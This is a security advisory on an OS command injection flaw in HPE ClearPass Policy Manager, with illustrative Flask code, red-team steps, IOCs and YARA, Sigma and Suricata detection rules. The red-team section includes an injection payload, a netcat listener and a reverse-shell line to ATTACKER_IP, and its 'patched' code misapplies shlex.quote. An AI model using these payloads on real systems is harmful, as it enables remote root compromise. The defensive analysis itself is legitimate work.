CVE-2024-26296

Executive Summary

CVE-2024-26296 is a critical vulnerability in Hewlett Packard Enterprise (HPE) ClearPass Policy Manager. This flaw allows remote authenticated users to execute arbitrary commands on the underlying host with root privileges. The vulnerability resides in the web-based management interface, enabling a successful attacker to achieve complete system compromise. The CVSS score is 7.2 (High), and while the EPSS score is currently 0.0%, the potential impact is severe due to the root-level access granted. No public proof-of-concept (PoC) or exploit code has been released, but the risk remains high for organizations using this product.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires authenticated access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is elevated due to the low attack complexity and the high impact on confidentiality, integrity, and availability. Although authentication is required, an attacker with valid credentials can fully compromise the system.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection (CWE-78) in the ClearPass Policy Manager web interface. The application fails to properly sanitize user-supplied input before passing it to a system shell. An authenticated attacker can craft malicious input that, when processed by the management interface, executes arbitrary commands on the underlying operating system.

The root cause is likely insufficient input validation in one or more endpoints that handle system commands or configuration changes. The injection point could be in parameters such as IP addresses, hostnames, file paths, or other fields that are passed to functions like exec() or system() without proper escaping.

Vulnerable vs. Patched Code

Since no official patch or source code is available, a generic example is provided to illustrate the vulnerability.

Vulnerable Code (Python Flask example):

import subprocess
from flask import Flask, request

app = Flask(__name__)

@app.route('/execute', methods=['POST'])
def execute_command():
    user_input = request.form['command']
    # Vulnerable: directly concatenating user input
    result = subprocess.check_output('ping -c 4 ' + user_input, shell=True)
    return result

Patched Code:

import subprocess
from flask import Flask, request
import shlex

app = Flask(__name__)

@app.route('/execute', methods=['POST'])
def execute_command():
    user_input = request.form['command']
    # Patched: using shlex.quote to escape input
    safe_input = shlex.quote(user_input)
    result = subprocess.check_output(['ping', '-c', '4', safe_input])
    return result

The patched version uses shlex.quote() to escape the input and passes arguments as a list to avoid shell injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for the ClearPass Policy Manager web interface.
• Network access to the management interface (typically port 443).

Exploitation Steps:

1. Authenticate to the ClearPass web interface.
2. Identify an input field that is vulnerable to command injection (e.g., a field for IP address, hostname, or file path).
3. Inject a command using shell metacharacters such as ;, |, &&, or backticks. Example payload: 127.0.0.1; whoami
4. Observe the output to confirm command execution.
5. Escalate to a reverse shell or execute arbitrary commands as root.

Lab Setup:

• Use a virtualized environment with HPE ClearPass Policy Manager (trial version).
• Set up a listener on the attacker machine (e.g., nc -lvnp 4444).
• Inject a reverse shell payload: 127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Blue Team

Detection:

• Monitor web application logs for unusual characters in input fields (e.g., ;, |, &, backticks).
• Look for outbound connections from the ClearPass server to unknown IPs on unusual ports.
• Use the detection rules provided below.

Mitigation:

• Restrict network access to the management interface to trusted IPs only.
• Implement strict input validation and output encoding.
• Apply the official patch once released by HPE.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections from the ClearPass server to suspicious IPs on ports 4444, 8080, or other non-standard ports.
  • Unusual HTTP POST requests to endpoints like /execute, /admin, or /api with shell metacharacters.

• Host IOCs:

  • Unexpected processes running as root (e.g., reverse shells, netcat).
  • Modified system files in /tmp, /var/tmp, or /dev/shm.
  • New cron jobs or systemd services.

• Log IOCs:

  • Web server logs showing commands like whoami, id, cat /etc/passwd, or bash -i.
  • System logs showing execution of commands like ping, nslookup, or curl with suspicious arguments.

Detection Engineering

YARA Rule

rule CVE_2024_26296_CommandInjection {
    meta:
        description = "Detects command injection attempts in ClearPass Policy Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-26296"
    strings:
        $cmd1 = /[;&|`]\s*(whoami|id|cat|bash|sh|nc|ncat|python|perl|ruby)/i
        $cmd2 = /(ping|nslookup|curl|wget)\s+-[a-z]+\s+[0-9.]+[;&|`]/
        $cmd3 = /127\.0\.0\.1\s*[;&|`]/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-26296 ClearPass Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts in HPE ClearPass Policy Manager
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/execute'
            - '/admin'
            - '/api'
        cs-method: 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '`'
            - '&&'
    condition: selection
falsepositives:
    - Legitimate use of special characters in input fields
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-26296 ClearPass Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/execute"; http_uri; content:";"; http_client_body; content:"whoami"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict network access to the ClearPass management interface to trusted IPs only.
   • Implement a Web Application Firewall (WAF) to block command injection attempts.
   • Monitor logs for suspicious activity.

2. Long-term Fix:

   • Apply the official patch from HPE once released.
   • Upgrade to a patched version of ClearPass Policy Manager.
   • Conduct a security audit of the web interface to identify and fix all injection points.

3. Compensating Controls:

   • Use input validation libraries that automatically escape shell metacharacters.
   • Implement least privilege for service accounts.
   • Enable detailed logging and alerting for command execution events.

Valters IT
DevSecOps & Cyber Threat Intelligence